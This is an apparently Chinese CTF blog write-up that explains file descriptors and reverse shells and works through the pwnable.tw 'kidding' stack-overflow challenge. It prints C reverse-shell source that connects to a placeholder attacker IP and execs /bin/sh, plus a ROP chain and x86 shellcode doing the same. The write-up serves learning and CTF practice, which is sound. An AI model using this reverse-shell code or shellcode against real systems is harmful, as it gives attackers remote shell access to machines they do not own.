Reverse Shell

0x01 前言

之前一直没了解反弹shell的真正含义,今天刚好发现自己pwnable的排名有点瓦,做道题冲个分吧…这篇文章参考了m4x师傅的文章,总结下来供自己学习:

0x02 shell是什么

简单的来说shell就是用户操作系统的入口,通过shell去调用其它的应用程序。例如:我们执行cat flag这条命令,那么去调用open、read、write等系统调用,虽然shell并没有跟内核直接进行交互,但是也可以认为shell为用户和内核提供了交互界面。

0x03 文件描述符

当进程打开现有文件或创建新文件 (open) 时,内核向进程返回一个 文件描述符(file descriptor)。在形式上是一个非负整数,作为一个索引指向被打开的文件,所有执行 I/O 操作的系统调用都会通过文件描述符。

0x04 stdin, stdout 和 stderr

0,1 和 2 文件描述符分别代表 stdin,stdout 和 stderr。每个程序在运行时会自动打开三个文件 stdin,stdout 和 stderr,文件描述符为0,1,2,分别代表标准输入,标准输出和标准错误;之后打开的文件会从 3 继续向后递增,新打开文件 (open) 时,将返回所能允许的最小文件描述符。

例子

 close(1);
puts("dumb output because stdout is closed.");
int fd = open("output.txt", O_RDWR | O_CREAT, 0777);
puts("Since open() returns 1 and puts() triggers write(1,....), this message wi       │ ll be written to the file output.txt");
close(fd); // don't forget to close(fd)!!!

4行的输出并没有向往常一样显示在显示屏上,因为 stdout 在 1行已经被关闭了;4行的信息输出到了 output.txt 中,这是因为3行执行时,这个进程有 0 和 2 两个 fd,因此 open 返回所能允许的最小文件描述符 1,而 puts 实际是系统调用 write(1, ….),因此这条消息就被写到了 1 (此时为打开的 output.txt)这个文件中;同理,我们还可以通过 close(0),close(1) 等操作控制进程从其他文件(包括其他进程,socket,pipe 等)进行 io。

0x05 reverse shell

由于题目关闭了标准输入、标准输出和错误输出流,就算我们get shell也没办法继续”cat flag”,在get shell之前我们监听某个端口,想办法让服务器端主动和我们客户端在这个端口建立一个连接,并将输入输出流转到这个端口上。

往 /proc/self/mem 写数据更改 binary 内容。通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限,且地址是固定的,因此我们可以控制 open(“/proc/self/mem”, 2) 返回的 fd 为 1,然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上,再控制 rip 到 shellcode 就可以建立一个 reverse shell。

大体思路如下:

  1. 利用 open(“/proc/self/fd/0”, 0) 来构造 ropchain,ropchain 实现 open(“/proc/self/mem”, 2) 返回的 fd 为
  2. 通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段,可以用 lseek 控制 puts 写的位置
  3. 控制 rip 为 shellcode 建立 reverse shell
  4. 可以使用 /dev/stdin 代替 /proc/self/fd/0,效果一样,可以给 shellcode 留下更多空间

0x06 reverse shell经典建立方式


1// reverse shell
2   │ #include <sys/types.h>   
3   │ #include <sys/socket.h>   
4   │ #include <netinet/in.h>   
56   │ #define NULL 0
78int socket(int domain, int type, int protocal);
9int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
10int dup2(int oldfd, int newfd);
11int execve(const char *filename, char *const argv[], char *const envp[]);
12int close(int fd);
1314void reverse_shell()
15{
16char* address = "your_ip";
17int port = your_port;
1819// create a new socket but it has no address assigned yet
20int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
2122// create sockaddr_in structure for use with connect function
23struct sockaddr_in sock_in;
24   │        sock_in.sin_family = AF_INET;
25   │        sock_in.sin_addr.s_addr = inet_addr(address);
26   │        sock_in.sin_port = htons(port);
2728// perform connect to target IP address and port
29connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));
3031// duplicate file descriptors for STDIN/STDOUT/STDERR
32for(int n = 0; n <= 2; n++)
33{
34dup2(sockfd, n);
35}
3637// execve("/bin/sh", 0, 0)
38execve("/bin/sh", NULL, NULL);
3940close(sockfd);
4142return;
43}
444546int main()
47{
48reverse_shell();
4950return 0;
51}
  1. 建立一个 socket,此时会新建一个 fd
  2. 给这个 socket 分配 ip 和 port
  3. 通过 dup2,将 socket 的 fd 复制到 0,1 和 2 上,这样 shell 的 io 就完全通过建立的 socket 了,这时如果我们监听这个 ip 和 port,就相当于拿到了一个 shell

0x07 例题

pwnable kidding

查看文件

PIE、Canary没开、Got表可劫持

IDA分析

可以看到是一个简单的栈溢出漏洞,但是在getshell之前已经关闭了输入输出流了,那也就是说我们后续想要执行命令已经无法通过shell来与系统交互。

根据上面所学,我们的目标应该是通过执行代码来得到一个shell,但是我们看到题目NX开启,那么我们看看有没有什么办法可以关闭NX

我们看到这里有个函数,将栈地址设置可执行,那么就很简单了:

思路

通过rop+shellcode,反弹shell。

出了反弹shell没有什么太多特别的东西,注意需要改一下hook函数的偏移,为了少压一个参数到栈中,令其执行完函数后可以返回到我们写入栈中的返回地址,具体调一下就知道了。从汇编层面上慢慢解决问题即可:

rop部分

pop_eax_ret = 0x80e2318 # pop eax; ret
pop_ecx_ret = 0x080583c9 # pop exc; ret
inc_mem = 0x080842c8 #inc dword ptr [ecx]; ret
jmp_esp = 0x80ddd07
rop = 'a'*0x8
rop += p32(0x8048902-0x18) #__libc_stack_end-0x18
# rop += p32(pop_eax_ret) + p32(0x80e9fc8)
rop += p32(pop_ecx_ret)
rop += p32(elf.sym["_dl_make_stack_executable_hook"])
rop += p32(inc_mem)
rop += p32(0x80937F0)
rop += p32(0x80ddd07)

shellcode部分:

# socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
payload = "push 0x1;pop ebx;cdq;"
payload+= "mov al,0x66;push edx;push ebx;push 0x2;mov ecx,esp;int 0x80;"

# dup2(oldfd,newfd) eax = 0x3f, ebx = oldfd,ecx = newfd dup2(0,1)
payload+= "pop esi;pop ecx;xchg ebx,eax;mov al,0x3f;int 0x80;"

# ##socketcall() eax=0x66,ebx=3,sys_connect(0,ip_port,0x10)
payload+= "mov al,0x66;push %d;push ax;push si;mov ecx,esp;" % ip
payload+= "push 0x10;push ecx;push ebx;mov ecx,esp;mov bl,0x3;int 0x80;"

# execute("/bin/sh")
payload+= "mov al,0xb;pop ecx;push 0x68732f;push 0x6e69622f;mov ebx,esp;int 0x80;"

不知道为什么打不通远程,由于tw的高分题暂时就不放完整exp了。


  Reprint policy: xiaoxin Reverse Shell

 Previous
2020-高校战疫部分PWN题复盘 2020-高校战疫部分PWN题复盘
前言Short_path_V2IDA分析got表可劫持、PIE没开启 程序一开始就读取flag到bss上了。 create功能: 我们看到开始就创建了0x10的chunk作为price,但后面有小于0x100的指定size的chunk
2020-09-20
Next 
2020 第五空间安全大赛 2020 第五空间安全大赛
twice查看文件 PIE没开、RELRO没开. 栈迁移 IDA分析 程序很简单,就是循环两次来进行输入,再打印出来。输入的地方有栈溢出,第一次只能溢出1个byte,第二次可以溢出0x18个byte。 思路第一步:利用溢出一个字节来泄露
2020-09-09
  TOC